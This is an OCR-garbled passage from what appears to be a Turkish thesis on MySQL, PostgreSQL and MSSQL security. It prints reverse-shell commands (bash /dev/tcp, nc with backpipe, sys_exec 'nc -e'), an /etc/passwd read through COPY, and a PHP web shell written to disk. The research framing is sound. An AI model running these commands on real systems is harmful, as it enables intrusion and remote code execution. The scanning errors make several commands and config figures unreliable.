tablo olusturulur [23].

- UDF dosyasinin igerigi bu tabloya yiiklenir. Bu asamada iki
farkli yol izlenebilir. Sistemde On tanimli olan load file()
fonksiyonu ilgili dosya tabloya yiklenebilir. Tercih edilebilecek
bir baska secenek ise dosya igerigini on altilik tabana c¢evirip bu

ham hali ile ylklemektir.

- Yukaridaki iki adimin tamamlanmasi ile zararh kod pargacigi

basarili bir sekilde sisteme ulastirilmistir fakat bu kodlar heniiz
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calistirillacak dizinde bulunmamaktadir. Kodlarin basarili bir
sekilde caligtirllmasi igin veritabaninda bulunmasi yeterli
degildir, sistem kiitiiphanelerinin ~ bulundugu  dizine
indirilmelidir. (Her ne kadar arastirma kapsaminda raslanan
“kavramin ispat1” ¢aligmalarinda sistem kiitiiphanesine indirme
durumunun zorunlu olmadig1 ve zararl kodun “MySQL eklenti
dizini”’nde de basarili bir sekilde ¢alistirilabilecegi goriilse de,
bu tez kapsaminda yapilan ¢aligmalarda zararl kodlar eklenti

dizininde ¢alismamigtir)

- UDF kiitiiphanesi yardimiyla “sys_exec” ve “sys_eval”
fonksiyonlar1 olusturulabilir ve bu fonksiyonlar kullanilarak

hedef sistemde igletim sistemi komutlar1 ¢aligtirilabilir.

- Tiim bu adimlar basarili bir sekilde tamamlandiktan sonra hedef
sistem “uzaktan kod ¢alistirma” durumuna acgik hale
gelmektedir. Ornegin “pash -i >&
/dev/tcp/IP_Adresi/Port Numaras1 0>&1” komutu ile hedef

sistemden ters kabuk baglantisi elde edilebilir.

24.2 SYSTEM Komutu

MySQL kabugu, veritabanindaki baglantilari, aktif programlama dilini
yapilandirmak gibi islemleri kolaylastiran komutlar sunmaktadir.
Komutlarin, ¢alistirma modundan bagimsiz olarak erisilebilir olmasi
gerektigi igin, bir kagis dizisi olan \ (ters egik ¢izgi) karakteriyle baslar.
“\system” komutu, ilgili isletim sistemi komutunu ¢alistirir ve ¢iktilari
komut satir1 arayliziinde gosterir. Bu komut ¢ok giiclii oldugu i¢in
sadece MySQL komut arayiiziinde ¢alisacak sekilde tasarlanmistir. Bu
nedenle, uzaktan gonderilen hicbir isletim sistemi komutu MySQL

tarafindan yiiriitiilmez.

SYSTEM komutu  kullanilarak hedefteki sistemten ters kabuk
baglantis1 elde edebilmek icin gereken komutlar asagidaki sekilde
gosterilmistir [24].
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system mknod /tmp/backpipe p

system /bin/sh @</tmp/backpipe | nc YOUR_IP_ADDRESS YOUR_PORT_NUMBER 1>/tmp/backpipe

Sekil 2.1 SYSTEM komutu ile ters kabuk baglantisi elde etme

Gerekli komutlarin basarili bir sekilde yiiriitiilmesinin ardindan ters
kabuk baglantisi elde edilecektir.

aselim@ubuntu:~S netcat -lvp 4545

Listening on [0.0.0.08] (family 8, port 4545)
Connection from localhost 40014 received!
whoami

root
id
gid:ﬂ(reot) gid=0(root) groups=0(root)

Sekil 2.2 Hedefteki sistemden elde edilen kok haklarina sahip baglanti
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3. POSTGRESQL

3.1  PostgreSQL’e Genel Bakis

Kokeni Kaliforniya’daki Berkeley Universitesi'nde 1986’da yapilan
POSTGRES adli projeye dayanan PostgreSQL, SQL dilini kullanan,
acik kaynak kodlu, nesne iliskisel bir veritabani sistemidir. Giiciini
mimarisi, sagladig1 veri biitiinligil, esnekligi, iicretsiz olusu ve
yazilimin arkasindaki ac¢ik kaynak toplulugunun sundugu pratik ve
akilc1 ¢oztiimlerden alan PostgreSQL diinya genelinde yaygin bir line ve
kullanim alanina sahip olmustur. GitHub’da ag¢ik kaynak kodlu olarak
yayinlanan PostgreSQL’1 gelistirmek i¢in 600’dan fazla kisi katkida

bulunmus ve bir buguk milyona yakin satir kod yazilmistir [25].

3.2 PostgreSQL’in Giivenlik Yaklasimlari

PostgreSQL, veritaban1 giivenligini farkli katmanlar seklinde ele

almugtir:

- Veritabaninda saklanan veriler, sistemdeki en yetkili kullanici
hesab1 olan Postgres hesabi disindaki herhangi bir hesap
tarafindan okunmaya karsi korumalidir. Bu adim ile

veritabanindaki dosyalarin korunmasi amaglanmistir.

- Sisteme yapilan baglantilarin kabul edilmesi i¢in bu baglantinin
yerel bir Unix soketi tarafindan yapilmis olmas1 gerekmektedir.
Bu varsayilan ayar ile veritabanma uzaktan erisimlerin
engellenmesi ve baglantilarin yalnizca giivenilir yerel agdan

yapilmast amaglanmstir.
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Yapilandirma dosyasi araciligiyla IP bazli erisim engelleme

yapilabilir.

Varsayilan olarak, kullanicilarin olusturmadig1 veritabanlarina

yazma izni bulunmamaktadir.

Kullanicilar gruplara atanabilir ve tablolara erisim grup

yetkilerine gore kisitlanabilir.

3.2.1 Kimlik Dogrulama

Kimlik dogrulama islemi, bir kullanicinin arka u¢ sunucusuna yapmis

oldugu erisim talebi i¢in vermis oldugu bilgilerin dogrulanma siirecidir.

Kullanicinin kimligi dogrulamak i¢in iki farkli yontem kullanilabilir:

Kullanic1 Kabugundan Kimlik Dogrulama: Kabuk kullanilarak
baglatilacak bir veritabani erigimi i¢in sadece erisimi yapan
kullanicinin etkin kullanic1 kimligi kullanilir. Bunun haricinde

bir kimlik dogrulama islemi yapilmaz.

Agdan Kimlik Dogrulama: Ag iizerinden yapilacak kimlik
dogrulama iglemlerinde ise yetkilendirme i¢in pg_hba.conf adli
yapilandirma dosyasi kullanilmaktadir. Bu yapilandirma
dosyasi kullanilarak baglantiy1 yapan bilgisayara ve baglantinin
yapildig1 veritabanma goére hangi kimlik dogrulama

prosediiriiniin kullanilacagi belirlenir [26].

3.2.2 Ana Bilgisayar Tabanh Erisim Kontrol

Ana bilgisayar tabanli erisim kontrolii, veritabani kullanicilarmnin

erisim kontroliinii denetleyen ve kimlik dogrulama mekanizmasin

yoneten ana yapidir. Her PostgreSQL veritabani sistemi, PGDATA

dizininde pg_hba.conf adl1 bir yapilandirma dosyas1 barindirmaktadir.

Bu yapilandirma dosyas1 temel manada basit bir giivenlik duvari islevi

gormektedir. Dosyanin i¢indeki girdiler sayesinde kullanicilar ve erigim

izinleri eslenmekte ve veritabanina yapilan erisimler denetlenmektedir.

Eger bir kullanic1 yapilandirma dosyasindaki herhangi bir girdi ile

eslesmezse erisim talebi geri cevrilmektedir.
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pg_hba.conf dosyasinin icerigi su sekildedir: Her satirda bir adet erisim
kayit kiimesi bulunmaktadir. Basinda diez(#) sembolii bulunan satirlar
ise yorum satir1 olarak algilanmakta ve PostgreSQL tarafindan dikkate

almmamaktadir.

Istemcilerden gelen baglantilar ki farkli soket tiirii kullanilarak
yapilabilmektedir:  Unix alan soketleri ve Internet alan
soketleri(TCP/IP).

3.2.2.1 Unix Alan Soketi

Unix Alan Soketi, bir sistem {izerinde calisan islemlerin aralarinda
iletisim kurabilmesi icin tasarlanmis ve c¢ift yonli veri aktarimi
yapabilen bir mekanizmadir. Bu soket iizerinden gonderilen veri
dogrudan isletim sistemi c¢ekirdegi igerisinde islenmektedir. Bundan
dolay1, bu soket yalnizca PostgreSQL’in ¢alistig1 sistem igerisinde
kullanilabilir. Harici baska bir sistem kullanilmak istenirse Unix soketi

yerine Internet soketi kullanilmalidir.

- Unix soketi kullanilan baglantilar i¢in yapilandirma dosyasindaki
kayit formati su sekildedir: “local <erismek istenen veritabanimin adi>

<kimlik dogrulama yontemi>*

3.2.2.2 internet Soketi

Internet soketi, iletisimin ag iizerinden gerceklestirildigi mekanizmadir.
Bu mekanizma kullanilarak yalnizca uzaktaki sistemler arasinda
iletisim kurmakla kalinmaz, ayni zamanda geri dongli araylizii
sayesinde ayni sistem igerisinde de veri transferi saglanabilir. Bu arayiiz
Unix alan soketi kullanarak yapilan baglantilara goére daha yavas bir

iletisim altyapis1 saglamaktadir.

- Internet soketi kullanilarak yapilan baglantilarda ise kayit formati
sOyledir: “host <erismek istenen veritabani adi> <TCP/IP addresi>

<TCP/IP ag maskesi> <kimlik dogrulama yontemi>*
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3.2.3 Kimlik Dogrulama Yontemleri

PostgreSQL'in yapilan baglantilar i¢in destekledigi kimlik dogrulama
yontemleri asagidaki gibidir. Asagidaki yontemler hem Unix soketleri

hem de internet soketleri igin gegerlidir.

- trust: Bu kimlik dogrulama yontemine sahip baglantilara higbir

sarta bakilmaksizin izin verilmektedir.

- reject: trust'un tam tersi isleve sahip olan bu yontemde ise gelen

biitiin baglanti talepleri dogrudan reddedilir.

- crypt: Kullanicidan baglanti talebine yonelik bir parola talep edilir.
Bu parola agik bir sekilde degil, sifrelenerek gonderilmelidir. Goderilen
sifrelenmis parola PostgreSQL'deki pg shadow tablosunda bulunan

deger ile karsilastirilir. Eger uyusuyorsa baglantiya izin verilir.

- password: crypt seceneginden farkli olarak, burada parola acgik bir
sekilde gonderilir. Kontrol i¢in yine pg_shadow tablosu kullanilir ve

eslesme durumunda baglantiya izin verilir.

Asagidaki yontemler ise sadece TCP/IP soketleri tarafindan
desteklenmektedir.

- krb4: Kimlik dogrulamak i¢in kerberos versiyon 4 kullanilir.
- krb5: Kimlik dogrulamak i¢in kerberos versiyon 5 kullanilir.

- ident: Bu kimlik dogrulama ydntemi,baglant1 talebinde bulunan
kullanicinin igletim sistemi kullanici adin1 kimlik sunucusundan alir ve
veritabani kullanici ad1 ile eslestirme yapar. Kimlik dogrulama i¢in bu
yontem secildigi takdirde “Esli Kimlik Dogrulama” metodu
kullanilmaktadir. Bu yontem istemcinin isletim sistemi kullanici adini
cekirdekten alir ve bunu izin verilen veritabani kullanici adi olarak
kullanir. Bundan dolay1 yalnizca yerel baglantilarda desteklenmektedir.
PostgreSQL'in giivenlik dokiiman sayfasinda sOyle bir uyari yer
almaktadir: “Bu protokol(ident) yetkilendirme veya erisim kontrol
protokolii olarak tasarlanmamistir.” Tanimlama Protokolii biinyesinde
sOyle bir zayiflik barindirmaktadir: Baglantiyr yapan makine ele

gecirilmis ve kotii amaglar i¢in kullaniliyorsa, saldirgan keyfi kod
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calistirma islemlerini yiiriitebilir. Bu nedenle bu yontem yalnizca her
bir istemci makinesinin siki kontrol altinda oldugu giivenilir
makinelerde tercih edilmelidir [27, 28].

Ornek bir yapilandirma dosyast icerigi asagida sekilde gdsterilmistir.

trust
all 127.0.0.1 2553 255: 253255

all 192.168.0.10 255.255.255.0
all 192.168.0.3 255.255,255.90
all 192.168.0.0 255.255.255.0

Sekil 3.1 PostgreSQL'deki erisim kurallar1 igin 6rnek bir yapilandirm
dosyasi icerigi

Bu yapilandirma ayarlaria gore, Unix soketlerinden gelen her erisime
izin verilecektir. Internet soketleri vasitasiyla yapilan erisimleri
inceleyecek olursak, yerel makineden gelen baglantilara da her zaman
izin verilmis, “192.168.0.10” IP adresine sahip cihazin ise her erisimi
reddedilmistir. “192.168.0.3” [P adresine sahip cihaz sifreleme
desteklemedigi i¢in, onun yapacagi erisim taleplerinde parola agik bir
sekilde gelecektir. Diger cihazlardan yapilacak erisim isteklerinde ise,

cihazlar parolalarini ac¢iktan degil sifreleyerek gondermelidirler.

3.3 PostgreSQL’de On Tamimh Olarak Bulunan Kullanicilar

postgres: En Yiiksek Yetkiye Sahip Varsayilan Kullanic1 Hesab1

PostgreSQL basarili bir sekilde kurulduktan sonra kullanici tablosu
icerisinde On tanimli olarak gelen ve en yiiksek kullanici ayricaliklarina
sahip olan “postgres” adinda bir hesap bulunur. Bu hesap “slper

kullanic1” olarak da adlandirilan kullanict tiiriine girmektedir.

Bu kullanict tiirii, veritabani igerisindeki tiim erisim kisitlamalarini
gecebilen, yetkilendirme kontroliinden muaf tutulan ve veritabani

icerisindeki biitiin islemleri yapabilen kullanicidir [29].

Bu ayricaliklarindan dolayi, siiper kullanici hesaplara yapilacak

saldirilar daha biiyiik bir 6Gneme sahiptir.
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Veritaban1 yapilandirma dosyasi1 olan pg_hba.conf adli dosyanin igerigi

varsayilan olarak su sekildedir:

all postgres peer
all all peer

all all 127.90.0.1/32 md5
all all ::1/128 md5

Sekil 3.2 PostgreSQL'deki yapilandirma dosyasi olan pg_hba.conf'un
icerigi

Tablodaki girdilerden goriilecegi gibi, yerel agda Unix soketi {izerinden
yapilacak baglantilar i¢in kullanilacak olan kimlik dogrulama ydntemi
“peer” olarak belirlenmistir. Bu yontem bir nevi iki agamali bir kimlik
dogrulama yontemi olup, hem sistemdeki kullanici adini hem de kimlik
dogrulama i¢in verilen bilgileri kontrol eder, bu kullanici adlarinin
eslesip eslesmedigine bakar. Bu girdi ile ilgili ¢ikacak sonug ise, yerel
agda Unix soketleri iizerinden veritabaninaki “postgres” kullanicisina
erismek icin, o an sistem iizerinde de ayni kullanic1 ile oturum agilmis
olmalidir. Internet soketi iizerinden yapilacak baglantilar ise yerel
makine ile simirlandirilmis olup, varsayilan yapilandirma ayarlari
icerisinde uzaktan erisim durumu bulunmamaktadir. Bu soket
kullanilarak yapilan baglantilarin kimlik dogrulama yontemi ise “md5”
olarak belirlenmis olup, yalnizca parola ve kullanici adi bilgisi

saglanmasi basaril1 bir oturum elde etmek i¢in yeterli olacaktir.

3.4  PostgreSQL’de Saldin Yiizey Alanlar

PostgreSQL’deki giivenlik yaklagimi biiyiik ol¢iide kimlik dogrulama
yonteminin gili¢lii olmasina dayanmaktadir. Arastirma kapsaminda,
sisteme postgres kullanicist ile giris yapildiktan sonra kotii niyetli
olarak yapilacak islemlerde bir smirlama go6zlemlenmemistir.
MySQL’de kisitlanabilen ve kotii amacglh faaliyetleri 6nlemek adina
oldukca onemli bir guvenlik 6nlemi olan dosya ige-disa aktarim

denetimi, PostgreSQL’de bulunmamaktadir. PostgreSQL’e en yiiksek
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yetkilere sahip olan postgres kullanicisi ile girildigi takdirde, sistem
Uzerinde PostgreSQL’in yetkisinin oldugu dizinlere rahatlikla dosya
yazilabilmekte = ve  bu  dizinlerdeki  dosyalarin  igerigine
erigilebilmektedir. Tiim bu sebeplerden dolay1 PostgreSQL’deki saldir1
ylizey alan1 incelemesi, postgres kullanicisi ile veritabanina basarili bir

sekilde erisim saglama 6zelinde yapilacaktir.

Onceki kistmlarda bahsedildigi gibi, yapilandirma dosyasi kullanilarak
sisteme yapilacak erisimler kolaylikla yonetilmektedir. Bu
yapilandirma dosyas1 igerisinde yerel makine veya internet iizerinden
gelecek baglantilar i¢in kurallar belirlenir ve yapilan erigim talepleri bu
kurallar dogrultusunda degerlendirilir. Bu kurallarin yanlis veya eksik
yapilandirilmis olmasi, bir saldirganin kaba kuvvet saldiris1 veya baska
bir yontem ile veritabanina baglanti kurabilmesi icin yapacagi

faaliyetleri kolaylastiracaktir.

Yapilandirma dosyasinda Unix alan soketlerinden agilan baglantilar
icin varsayilan bir kontrol mekanizmasi bulunmamakta ve bu soketler
tarafindan gelen baglantilara dogrudan izin verilmektedir. Bir saldirgan,
veritabanina baglanirken eger bu soket ¢esidini kullanarak herhangi bir
denetime tabi tutulmadan sisteme erigim saglayabilir fakat bu durumun
gerceklesmesi i¢in saldirganin daha oncesinde sistem iizerinde baska
bir islem baslatmig olmasi ve bu islem Uzerinden veritabani ile
konusmas1 gerekmektedir. Bu durum hedefteki sistemin zaten ele
gecirilmis oldugu anlamina gelmektedir. Bundan dolay1 saldir1 yiizey
alam olarak Internet soketleri kullanarak yapilan baglantilar

incelenecektir.

Sekil 3.1°de gosterilen kurallar ile sadece yerel bilgisayar Uzerinden
baglant1 kurulabilir, uzak erisim yoluyla gelen baglantilara izin
verilmez. Uzaktaki bilgisayarlardan gelen baglant1 taleplerine izin

vermek i¢in takip edilmesi gereken iki adim bulunmaktadir:
- postgresql.conf dosyasi i¢erisindeki “listen_addresses”in degeri
7232

olarak ayarlanmalidir (listen addresses="*"). Bu sekilde,

gelen biitiin baglantilar dinlenebilecektir.
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- Ardindan, uzaktaki sistemin I[P adresi i¢in pg hba.conf

dosyasina uygun bir kural girilmelidir.

Bu adimlar basarili bir sekilde yapildiktan sonra, veritabani uzaktan

gelecek baglantilar1 dinleyecek ve denetleyecek hale gelecektir.

Bu asamada, gereginden fazla(daha genis bir IP adresi aralig1 veya tim
IP adresleri) IP adresine baglanti talebi gonderebilme hakki taninirsa,
sistem kotii niyetli insanlarin yapabilecegi saldirilara karsi acik hale
gelmis olacaktir. Ornegin uzak erisim imkan1 sunma asamasinda kolaya

kacilip pg hba.conf dosyasina asagidaki sekildeki satirlar eklenebilir.

host all all 0.0.0.0/0

host all all 1:/0

Sekil 3.3 Erigsim kurallari i¢in yanlig yapilandirma 6rnegi

Bu sekilde bir yanlis yapilandirma sonucu veritabani tim baglanti
taleplerine agik hale gelecektir. Eger sistem iizerinde tahmin etmesi
kolay parola kullanildiysa, basarili bir sekilde oturum agmak oldukga
kolay olacaktir.

3.5  PostgreSQL Saldir1 Yontemleri

351 Keyfi Dosya Okuma

postgres veritabani kullanicist ile veritabani lizerinde basarili bir sekilde
oturum agildiktan sonra, sistem igerisindeki dosyalara erisilebilir ve
icerigi okunabilir. Bu bdliimde dosya igerigi okumakla ilgili iki farkl

yontemden bahsedilecektir.

3.5.1.1 pg_read_file() fonksiyonunun kullanima:

Parametre olarak bir dosya adi, baslangi¢ ofseti ve dosya igeriginden
ka¢ byte okunacagi parametrelerini alir ve dosya igerigini okur.
Baslangig ofseti ve okunacak byte miktari istege bagli parametrelerdir.
Bu fonksiyonun yardimiyla sistemdeki dosyalarin igerigi kolaylikla
okunabilmektedir [30].
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3.5.1.2 COPY islemi:

COPY, verileri PostgreSQL tablolar1 ve dosya sistemi dosyalari
arasinda taginmasini saglayan isleve sahiptir. “COPY TO” bir tablonun
icerigini bir dosyaya kopyalarken, “COPY FROM?” komutuyla ise bir
dosyadaki veriler bir tabloya kopyalanabilmektedir. “COPY TO” ayni
zamanda SELECT kullanilarak yapilan bir sorgunun cevabini da bir
dosyaya kopyalayabilmektedir. Kopyalama islemleri i¢in kullanilacak
dosyanin veritabani tarafindan erigilebilir olmas1 gerekmektedir. Bu
islem i¢in veritaban1 komutu yazilmasi sirasinda, dosyanin
veritabaninin kurulmus oldugu dizine gore bulundugu lokasyon goz
oniinde bulundurulmali, dizin yolu veritabaninin bakis agisindan

olusturulmalidir.
Ornek bir saldir1 adimlari su sekildedir:

- CREATE TABLE komutu ile bir adet tablo olusturulur. Tabloda
bir adet kolon olmasi yeterlidir. Dosya igeriginin
kopyalanabilmesi i¢in olusturulacak bu kolonun tiiriiniin
“TEXT” olmasi islemlerimizi oldukc¢a kolaylastiracaktir. Bunun
sebebi ise, PostgreSQL’de mevcut olan diger karakter tiirlerinde
metin uzunlugunu belirtmemizin gerekli olusudur. TEXT
tirliniin ise saklayacagi metnin uzunlugu ile ilgili bir

limitasyonu bulunmamaktadir [31].

- Ardindan COPY FROM komutu kullanilarak sistemde

okunmak istenen dosyanin igerigi tabloya aktarilir.

- Tablo igeriginin goriintiilenmesi i¢in yapilacak basit bir sorgu

ile dosya igerigi basarili bir sekilde okunacaktir [35].

Saldirty1  gergeklestirebilmek i¢in  asagidaki  sekildeki kodlar

calistirilmalidir.
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CREATE TABLE zephyr(t TEXT)

COPY zephyr from '/etc/passwd';
SELECT * FROM zephyr;

Sekil 3.4 COPY komutu kullanilarak yapilan dosya okuma islemi

Bu adimlar uygulandiginda, sistem iizerinde bulunan /etc/passwd dosya

icerigi basarili bir sekilde okunabilmektedir.

:root:/root:/bin/bash
n:/usr/sbin:/usr/sbin/nologin
r/sbin/nologin
fusr/sbin/nologin
c:/bin:
:/usr/games:
/man:/usr/sbin/no
:l/lpd usr/sbin/no
fuarldblnfnsh

0g
<, ,, /var/lib/tpm:/bin/false
/run/rpcbind:/usr/sbin/nologin

/var/lib/nfs:/

OpenVPN, ,

fvarfrun!hpllp /bin/false
‘'sbin/nologin
etworkManager:/usr/sbin/nologin

run/aahd fUaFfublnfnnquln
:MySQL Serv r/var/lib/m 1:/bin/fal
132:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

"END)

Resim 3.1 Saldir1 sonucu basarili bir sekilde okunan /etc/passwd
dosyasi icerigi

3.5.2 Keyfi Dosya Olusturma

Bu boéliimdeki saldir1 yontemi, veritabaninin sistem iizerinde yazma

hakkima sahip oldugu bir dizinde dosya olusturma ve bu dosyanin

26



kullanilarak  sistem {izerinde zararli aktivitelerde bulunmay1

kapsamaktadir.

3.5.2.1 Tablo icerigini dosyaya yazma:

Bir 6nceki saldir1 yonteminde bahsedildigi gibi, veritabaninda bulunan
tablolar ve igerikleri saldir1 i¢cin amach kullanilabilmektedir. Bu saldir1
yonteminde o©nceki saldirtya ¢ok benzer sekilde bir adet tablo
olusturulacak ve bu tablonun icerigi sistemde veritabani tarafindan

erigilebilen bir dizine yazilacaktir.

- CREATE TABLE komutu ile tek kolona sahip ve kolon tiri
TEXT olan bir tablo olusturulur.

- INSERT INTO komutu kullanilarak dosyaya yazilmak istenen

metin tabloya aktarilir.

- COPY TO komutu yardimiyla dosya igerigi ile sistem izerinde
bir dosya olusturulur [32,35].

Saldirty1 gergeklestirebilmek icin asagidaki sekildeki komutlarin

calistirilmas1 gerekmektedir.

CREATE TABLE zephyr (t TEXT);

INSERT INTO zephyr(t) VALUES ('<?php @system("$_GET[cmd]l");?>');
COPY zephyr(t) TO '/tmp/cmd.php';

Sekil 3.5 COPY komutu ile yapilan dosyaya yazma islemi

Olusturulan PHP dosyasinin, igerisindeki fonksiyona gonderilecek
isletim sistemi komutlari ile tetiklenmesi sonucu sistem iizerinde keyfi
kod calistirma iglemi yapilabilir. Benzer sekilde Python, Ruby gibi
diller ile zararli betikler yazilip tetiklenebilir ve sistem iizerinde

ayricaliklar elde edilebilir.
3.5.3 Kullamcr  Tanmmmh  Kiitiiphane dosyasi
kullanim

Kiitiiphane terimi, yazilim gelistirmek ic¢in kullanilan, aralarinda iliski
bulunan degiskenler, fonksiyonlar, vb gibi yazilimsal Ogeler

bulunduran veri kiimeleri i¢in kullanilmaktadir. Bunun iki c¢esidi
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mevcuttur: Sistem Kiitiphaneleri ve Kullanic1 Tanimli Kiitiiphaneler.
Aralarindaki temel fark, sistem kiitiiphanelerinin kullanilan sistem
tarafindan saglanmasi, diger kiitliphane tiiriiniin ise kullanicilar

tarafindan olusturulmasidir [33].

Bu boliimde sqlmap Projesi tarafindan MySQL ve PostgreSQL’e
yonelik olusturulmus, hedefteki sisteme veritabanindaki yardime1
fonksiyonlar vasitasiyla yiiklenebilen ve hedef sistemde fonksiyon

olusturmak amaciyla kullanilacak olan kiitiiphaneler ele almacaktir.
Saldir1 adimlar su sekildedir:

- Oncelikle https://github.com/sqlmapproject/udfhack/

adresindeki kiitliphane dosyalarinin C dilinde yazilmis kaynak
kodlar1 hedef isletim sistemi goz Oniinde bulundurarak
indirilmelidir.

- Indirme islemi tamamlandiktan sonra kaynak kodlar1 uygun bir

sekilde derlenmeli ve kiitiiphane dosyalar1 olusturulmalidir.

- Ardindan bu dosya igerigi veritabani icerisindeki bir tablonun
icine yazilacaktir. Saldir1 i¢in kullanilacak tablo yeni
olusturulacak bir tablo degil, “pg_largeobject” adli sistem
katalog tablosudur. Bu tablo biiyiik boyutlu objeler olusturmak
icin kullanilan bir tablodur [34].

- Bu tabloya yazilan igerik “lo_export” adli fonksiyonun

yardimiyla sistem igerisinde bir dosyaya aktarilir.

- Sistem igerisindeki kullanici tanimli kiitiiphane dosyasindan
faydalanarak yeni fonksiyonlar olusturulabilir. Bu fonksiyonlar
parametre olarak aldiklari igletim sistemi komularini sistem

Uzerinde calistirirlar ve sistem iizerinde istismar gerceklesebilir

[35].

28


https://github.com/sqlmapproject/udfhack/

postgres=# SELECT sys_ c("'nc -e /bin/sh 127.0.0.1 4444");

Resim 3.2 UDF kullanilarak olusturulan sys_exec fonksiyonu ile ters
kabuk baglantis1 agma

+ nc -lvp 4444

listening on [any] 4444 ...

connect to [127.0.0.1] from localhost [127.0.0.1] 32956

id

uid=122(postgres) gid=132(postgres) groups=132(postgres),110(ssl-cert)

Resim 3.3 Elde edilen ters kabuk baglantisi
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4.  MSSQL(MICROSOFT SQL SERVER)

4.1 Microsoft SQL Server Hakkinda

Microsoft SQL Server, Microsoft tarafindan gelistirilen iliskisel
veritaban1 yonetim sistemidir. Ilk siiriimii SQL Server 1.0 adiyla 1989
yilinda ¢ikan {iriiniin, su an en giincel versiyonu SQL Server 2019’dur.
C ve C++ kullanilarak yazilan SQL Server yalnizca Microsoft’un kendi
isletim sistemi olan Windows’ta degil, ayn1 zamanda Linux {izerinde de
calismaktadir. 2017 stiriimii ile birlikte Red Hat Enterprise Linux,
SUSE Linux Enterprise Server, Ubuntu ve Docker Engine
platformlarinda SQL Server kullanimi desteklenmeye baslanmustir.
Ucretli ve iicretsiz olmak iizere farkls siiriimleri olan ve farkl tiirdeki
kullanicilar ve is kollarini hedefleyen SQL Server, kullanicilarina hiz,
esneklik, yine Microsoft’un bulut bilisimi ile ilgili kendi iiriinii olan

Azure ile bulut entegrasyonu, giiglii makine 6grenmesi altyapis1 gibi
imkanlar sunmaktadir [36,37].

4.2 Microsoft SQL Server’daki Giivenlik Yaklasimlari

421 Kimlik Dogrulama Yontemleri

Veritaban1  kurulumu sirasinda bir kimlik dogrulama ydntemi
belirlenmelidir. Bu asamada iki farkli segenek mevcuttur. {lki Microsoft
Kimlik Dogrulama modu, ikincisi ise karma kimlik dogrulama
modudur. ilk yoéntem segildigi takdirde, birazdan bahsedilecek olan
SQL Server Kimlik Dogrulama modu devre dis1 birakilacaktir. Karma

modda ise hem Microsoft hem de SQL Server kimlik dogrulama
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yontemi mevcuttur. Kimlik dogrulama modu secilirken, Microsoft

Kimlik Dogrulama modu higbir sekilde devre dis1 birakilamamaktadir.

4.2.1.1 Microsoft Kimlik Dogrulama Modu

Bu kimlik dogrulama modunda SQL Server’a Microsoft hesabi ile
baglanilir ve veritaban1 tarafinda bu hesabin kullanici adinin ve
parolasinin gegerli olup olmadigi isletim sisteminin de yardimiyla
kontrol edilir. Bu modda SQL Server ayr1 bir kimlik dogrulama iglemi
yapmaz, kimlik dogrulama Windows ile yapilir. Microsoft Kimlik
Dogrulama modu varsayilan kimlik dogrulama yontemidir ve SQL
Server Kimlik Dogrulama moduna goére ¢ok daha giivenli bir
yontemdir. Microsoft’un giivenlik dokiimanlarinda bu dogrulama
modunun kullanilmas1 tavsiye edilmektedir. Kerberos giivenlik
protokoliinii kullanan bu modun parolanin giiclii olmasina yonelik
ilkeleri benimseyen, olast saldirilara yonelik hesabin kilitlenmesini
saglayan ve parolalar1 belirli bir zaman dilimi ardindan gegersiz kilan

uygulamalar1 mevcuttur.

4.2.1.2 SQL Server Kimlik Dogrulama Modu

Bu mod bir 6nceki modun aksine Microsoft kullanici hesabina
dayanmamaktadir. Oturumlar dogrudan SQL Server icerisinde parola
ve kullanict adi bilgisi ile olusturulur. Bu modu kullanan kullanicilar,
veritabanina her baglandiklarinda kimlik bilgilerini yeniden iletmek
zorundadirlar. SQL Server Kimlik Dogrulama modu bir 6nceki mod
gibi Kerberos protokoliini desteklememektedir ve bu yontemde
kullanilan parolalarin istemcide saklanabiliyor olusu saldir1 yiizey
alanin1 artirmaktadir fakat isletim sistemi olarak Windows kullanmayan

sistemler i¢in gerekli bir kimlik dogrulama yontemidir [38].
4.2.2 Kullanici Hesaplari i¢in Uygulanan Parola
Politikasi

SQL Server, kullanic1 hesabi igin olusturulacak parolanin kolayca
tahmin edilemeyecek olmasi amaciyla bir politika uygulamaktadir. Bu

politikaya gore parola icerisinde kullanici adi gecemez ve parola
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"password", "admin", "administrator", "sa", "sysadmin" gibi sik
kullanilan ve tahmin edilmesi kolay kelimeler olamaz. Ek olarak, parola
karmagikliginin artmasi i¢in biiyiik harf, kiiclik harf, rakamlar ve 6zel
karakter kiimesinden en az {i¢ kiime se¢ilerek parola olusturulmali ve

parola uzunlugu en az sekiz karakter olmalidir [39].

4.3 Varsayilan Kullanic1 Hesaplar ve Yetkiler

43.1 Sistem Yoneticisi Roll ve sa Oturumu

SQL Server igerisindeki rol hiyerarsisinde bir¢ok rol bulunmaktadir ve
bu rollerden en yiiksek yetkiye sahip olani ise sistem yoneticilerinin
sahip oldugu “sysadmin” roliidiir. Bu role sahip kullanicilar veritabani
icerisinde istedikleri biitlin islemleri gergeklestirebilme yetkisine

sahiptir.

sa oturumu, SQL Server kurulumu yapildiginda 6n tanimli olarak gelen,
yetkileri kisitlanamayan ve sysadmin roliiniin bir iiyesi olan bir
oturumdur ve bundan dolayr bu oturum kullanilarak yapilacak
girislerde, oturumu agan kullanici veritabani {izerindeki tiim izinlere
sahip olacaktir. Bu oturum silinememektedir fakat devre dis1 birakilip

kullanim1 engellenebilir [40,41].

SQL Server kurulumu sirasinda kimlik dogrulama yontemi olarak
Microsoft Kimlik Dogrulama Modu segilirse SQL Server Kimlik
Dogrulama Modu devre dis1 birakilir. Bu durum, Microsoft tarafindan
kurulum sirasinda segilmesi Onerilen yontemdir. Kimlik dogrulama
yonteminin hem Microsoft hem de SQL Server modu olarak
degistirilmesi durumunda sa kullanicis1 halen aktif hale gelmemektedir.
Bu kullanic1 hesabu ile sisteme giris yapilabilmesi i¢in aktif edilmeli ve
yeni bir parola atanmalidir [42]. Bundan dolay1, SQL Server sistemleri
tizerinde sa kullanicisin sahip oldugu varsayilan bir parola

bulunmamaktadir.

Bu durumun bir benzeri de Linux sistemler {izerinde yasanmaktadir.
Linux sistemler iizerinde Microsoft Kimlik Dogrulama yodntemi

kullanilamayacagi i¢in, tek segenek SQL Server Kimlik Dogrulama

33



olacaktir. Kurulum sirasinda kullanicidan sa oturumu i¢in parola
belirlemesi istenmekte ve varsayilan parola kullanilmamaktadir.
Bundan dolay1, MySQL veya PostgreSQL’de oldugu gibi, kaba kuvvet
saldiris1 igin kullanilabilecek bir varsayilan parola degeri mevcut

degildir.

4.4 Saldir1 Yontemleri

Bu boliimde, Windows isletim sistemi tizerinde hizmet veren SQL

Server uygulamasina yonelik saldir1 yontemleri incelenecektir.

